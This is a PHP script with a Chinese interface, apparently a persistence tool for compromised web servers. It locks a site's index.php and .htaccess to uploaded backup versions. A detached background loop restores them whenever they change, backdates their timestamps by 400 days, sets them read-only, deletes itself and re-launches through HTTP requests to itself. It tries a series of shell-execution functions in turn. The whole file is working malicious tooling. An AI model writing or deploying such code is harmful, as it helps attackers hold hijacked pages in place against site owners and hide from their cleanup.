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<?php
error_reporting(0);
set_time_limit(0);
ini_set('max_execution_time',0);
ignore_user_abort(true);
if (function_exists('opcache_reset')) { opcache_reset(); }

$wwwroot_txt=__DIR__.'/'.md5('wwwroot_2024c').'.txt';
$self_bak=file_get_contents(__FILE__);
$unlock_done=false;
$unlock_key=md5('unlock_2024c').'.txt';
$unlock_key_content=md5('yes_2024c');
$lock_name_list=array('index.php','.htaccess');
$bak_ext='bak';
$wwwroot='';
$bak_arr=array();
$max_times_record_txt=__DIR__.'/'.md5('max_times_record_2024c').'.txt';

function curl_get($url,$timeout=30)
{
    $contents='';
    if ( function_exists('curl_exec') )
    {
        $ch=curl_init();
        curl_setopt ($ch, CURLOPT_URL, $url);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, FALSE );
        curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, FALSE );
        curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout );
        $contents = curl_exec($ch);
        curl_close($ch);        
    }else
    {
        $contents=file_get_contents($url);
    }
    return $contents;
}

function getPhpPath()
{
    ob_start();
    phpinfo(1);
    $info = ob_get_contents();
    ob_end_clean();
    preg_match("/--bindir=([^&]+)/si", $info, $matches);
    if (isset($matches[1]) && $matches[1] != '') {
        return $matches[1] . '/php';
    }
    preg_match("/--prefix=([^&]+)/si", $info, $matches);
    if (!isset($matches[1])) {
        return 'php';
    }
    return $matches[1] . '/bin/php';
}

function is_cli() 
{
    $is_cli = preg_match("/cli/i", php_sapi_name()) ? true : false;
    if ($is_cli === false) {
        if (isset($_SERVER['argc']) && $_SERVER['argc'] >= 2) {
            $is_cli = true;
        }
    }
    if ($is_cli === false) {
        if (!isset($_SERVER['SCRIPT_NAME'])) {
            $is_cli = true;
        }
    }
    return $is_cli;
}

function do_lock($max_times=0)
{
    global $wwwroot,$unlock_done,$unlock_key,$unlock_key_content,$lock_name_list,$bak_ext,$max_times_record_txt;
    if ( is_cli()==true||$max_times>0 ) unlink(__FILE__);
    if ($wwwroot!='')
    {
        $lock=array();
        foreach ($lock_name_list as $lock_name1)
        {
            $lock[]=array( 
                          'target'=>$wwwroot.'/'.$lock_name1,
                          'bak'=>$wwwroot.'/'.$lock_name1.'.'.$bak_ext,
                          'bak_content'=>'',
                          'bak_content_md5'=>''
                         );
        }
        $do_circle=false;
        for($i=0;$i<count($lock);$i++)
        {
            if (is_file($lock[$i]["bak"])) 
            {
                $lock[$i]["bak_content"]=trim(file_get_contents($lock[$i]["bak"]));
                if ( is_cli()==true||$max_times>0 ) unlink($lock[$i]["bak"]);
            }
            if ($lock[$i]["bak_content"]!="") 
            {
                $lock[$i]["bak_content_md5"]=md5($lock[$i]["bak_content"]);
                $do_circle=true;
            }
        }
        $max_times_record=0;
        while( $do_circle )
        {
            if ( is_file($wwwroot.'/'.$unlock_key)&&trim(file_get_contents($wwwroot.'/'.$unlock_key))==$unlock_key_content )
            {
                chmod($wwwroot.'/'.$unlock_key,0777);
                file_put_contents($wwwroot.'/'.$unlock_key,'0');
                unlink($wwwroot.'/'.$unlock_key);
                $unlock_done=true;
                break;
            }
            
            for($i=0;$i<count($lock);$i++)
            {
                if ( $lock[$i]["bak_content"]!="" ) 
                {
                    if ( !is_file($lock[$i]["target"]) ) 
                    {
                        file_put_contents($lock[$i]["target"],$lock[$i]["bak_content"]);
                        touch($lock[$i]["target"], strtotime("-400 days", time()));
                        chmod($lock[$i]["target"], 0444);
                    }else
                    {
                        if ( md5(file_get_contents($lock[$i]["target"]))!=$lock[$i]["bak_content_md5"] )
                        {
                            chmod($lock[$i]["target"], 0777);
                            unlink($lock[$i]["target"]);
                            file_put_contents($lock[$i]["target"],$lock[$i]["bak_content"]);
                            touch($lock[$i]["target"], strtotime("-400 days", time()));
                            chmod($lock[$i]["target"], 0444);
                        }
                    }
                }
            }
            usleep(1000);
            
            $max_times_record++;
            if ( isset($_GET['max_times'])&&$_GET['max_times']==0 )
            {
                chmod($max_times_record_txt,0777);
                file_put_contents($max_times_record_txt,$max_times_record);                
            }

            if ($max_times>0)
            {
                $max_times--;
                if ( $max_times<=0 ) break;
            }
        }
    }else
    {
        echo 'wwwroot无效 --- 运行失败';
        exit;        
    }
}

function http_do_lock()
{
    global $wwwroot_txt,$unlock_done,$self_bak,$bak_arr,$max_times_record_txt;
    if (is_file($wwwroot_txt)) 
    {
        unlink($wwwroot_txt);
    }
    
    isset($_GET['max_times'])&&is_numeric($_GET['max_times']) ? $max_times=$_GET['max_times'] : $max_times=10000 ;
    if ( is_file($max_times_record_txt)&&$max_times>0 )
    {
        $max_times_rec=file_get_contents($max_times_record_txt);
        if ( is_numeric($max_times_rec) ) $max_times_safe=intval($max_times_rec/100*80);
        if ( $max_times_safe>$max_times )
        {
            $max_times=$max_times_safe;
            usleep(100000);
            $max_times_rec2=file_get_contents($max_times_record_txt);
            if ($max_times_rec==$max_times_rec2) unlink($max_times_record_txt);
        }
    }
    
    do_lock($max_times);
    
    if ($unlock_done===true) exit;
    
    if ( is_file(__FILE__) ) 
    {
        chmod(__FILE__,0777);
        unlink(__FILE__);
    }
    file_put_contents( __FILE__,$self_bak );
    foreach( $bak_arr as $bak1 )
    {
        if ( is_file($bak1['path']) )
        {
            chmod($bak1['path'],0777);
            unlink($bak1['path']);
        }
        file_put_contents( $bak1['path'],$bak1['content'] );
    }
    $http=($_SERVER['HTTPS']!=''&&$_SERVER['HTTPS']!='off')||$_SERVER['REQUEST_SCHEME']=='https'||$_SERVER['SERVER_PORT']=='443' ? 'https://' : 'http://' ;
    if ( isset($_SERVER["REQUEST_URI"]) )
    {
        $php_name_arr=explode('?',$_SERVER["REQUEST_URI"]);
        $php_name=$php_name_arr[0];
    }else
    {
        $php_name=$_SERVER['SCRIPT_NAME'];
    }
    
    if ($_GET['action']=='lock')
    {
        curl_get($http.$_SERVER['HTTP_HOST'].$php_name.'?action=http_lock&max_times=0',3);
    }
    curl_get($http.$_SERVER['HTTP_HOST'].$php_name.'?action=http_lock&max_times='.$max_times,30);
}

function check_do_lock()
{
    sleep(2);
    if ( is_file(__FILE__) ) 
    {
        echo '<br><br>执行失败,改用http方式执行';
        http_do_lock();
    }
}

if ( is_cli()==true )
{
    if (is_file($wwwroot_txt)) 
    {
        $wwwroot=trim(file_get_contents($wwwroot_txt));
        unlink($wwwroot_txt);
    }
    do_lock(0);
}else
{
    if ( isset($_SERVER["REQUEST_URI"])&&isset($_SERVER["SCRIPT_FILENAME"]) )
    {
        $request_uri_arr=explode('?',$_SERVER["REQUEST_URI"]);
        $request_uri_head=$request_uri_arr[0];
        $script_filename=str_replace('\\','/',$_SERVER["SCRIPT_FILENAME"]);
        $wwwroot=str_replace($request_uri_head,'',$script_filename);
    }elseif( isset($_SERVER["DOCUMENT_ROOT"]) )
    {
        $wwwroot=$_SERVER["DOCUMENT_ROOT"];
    }else
    {
        $wwwroot=str_replace($_SERVER['SCRIPT_NAME'],'',$_SERVER["SCRIPT_FILENAME"]);
    }
    $wwwroot=trim($wwwroot);
    
    if ($wwwroot=='') 
    {
        echo 'wwwroot获取失败 --- 本程序无法运行';
        exit;
    }

    $check_bak=false;
    foreach($lock_name_list as $lock_name1)
    {
        $bak_path=$wwwroot.'/'.$lock_name1.'.'.$bak_ext;
        if ( is_file($bak_path) ) 
        {
            $bak_content=trim(file_get_contents($bak_path));
            if ($bak_content!='')
            {
                $check_bak=true;
                $bak_arr[]=array( 'path'=>$bak_path, 'content'=>$bak_content );
            }
        }
    }    

    if ($_GET['action']=='lock')
    {
        if ($check_bak==false)
        {
            echo '<br><br><font color="red">请先上传bak文件并确保内容非空!</font>';
            exit;            
        }

        if (is_file($wwwroot_txt))
        {
            chmod($wwwroot_txt,0777);
            unlink($wwwroot_txt);
        }
        file_put_contents($wwwroot_txt,$wwwroot);

        $php_path=getPhpPath();
        $run_file=__FILE__;
        $cmd="nohup $php_path " . $run_file . " >/dev/null 2>&1 &";
        if (function_exists('exec'))
        {
            echo 'exec 执行 '.$cmd;
            exec($cmd);
            check_do_lock();
        }elseif(function_exists('shell_exec'))
        {
            echo 'shell_exec 执行 '.$cmd;
            shell_exec($cmd);
            check_do_lock();
        }elseif(function_exists('system'))
        {
            echo 'system 执行 '.$cmd;
            system($cmd);
            check_do_lock();
        }elseif(function_exists('passthru'))
        {
            echo 'passthru 执行 '.$cmd;
            passthru($cmd);
            check_do_lock();
        }elseif(function_exists('popen'))
        {
            echo 'popen 执行 '.$cmd;
            $fp = popen($cmd,"r");
            pclose($fp);
            check_do_lock();
        }elseif(function_exists('proc_open'))
        {
            echo 'proc_open 执行 '.$cmd;
            $fp = proc_open($cmd,array( array("pipe","r"),array("pipe","w"),array("file","/tmp/error-output.txt","a") ),$pipes);
            proc_close($fp);
            check_do_lock();
        }elseif(function_exists('pcntl_exec'))
        {
            echo 'pcntl_exec 执行 '.$php_path.' '.$run_file;
            pcntl_exec($php_path,array($run_file));
            check_do_lock();
        }else
        {
            echo 'http( set_time_limit=0,ignore_user_abort=true ) 执行 '.$run_file;
            http_do_lock();
        }        
    }elseif($_GET['action']=='unlock')
    {
        if ( is_file($wwwroot.'/'.$unlock_key) )
        {
            chmod($wwwroot.'/'.$unlock_key,0777);
            unlink($wwwroot.'/'.$unlock_key);            
        }
        file_put_contents($wwwroot.'/'.$unlock_key,$unlock_key_content);
        sleep(2);
        if ( !is_file($wwwroot.'/'.$unlock_key)||trim(file_get_contents($wwwroot.'/'.$unlock_key))!=$unlock_key_content )
        {
            echo '解锁成功!';
        }else
        {
            echo '无需解锁!';
        }
        if ( is_file($wwwroot.'/'.$unlock_key) )
        {
                chmod($wwwroot.'/'.$unlock_key,0777);
                file_put_contents($wwwroot.'/'.$unlock_key,'0');
                unlink($wwwroot.'/'.$unlock_key);    
        }
    }elseif($_GET['action']=='http_lock')
    {
        http_do_lock();
    }
    else
    {
        echo '<html><head><title>文件锁定程序-cww版</title></head><body><div><h1>文件锁定程序-cww版</h1><br><br><h3>请先上传index.php.bak和.htaccess.bak到网站根目录再执行本程序</h3><br><br><h3>*建议将本程序上传到子目录运行避免同行盗用<br>*锁定后无响应请手动检查<br>*更新锁定文件请先解锁<br>*解锁和锁定不能运行在相同路径</h3><br><br><h1><a href="?action=lock" target="_self">锁定</a><br><br><a href="?action=unlock" target="_self">解锁</a></h1></div></body></html>';
    }
}

?>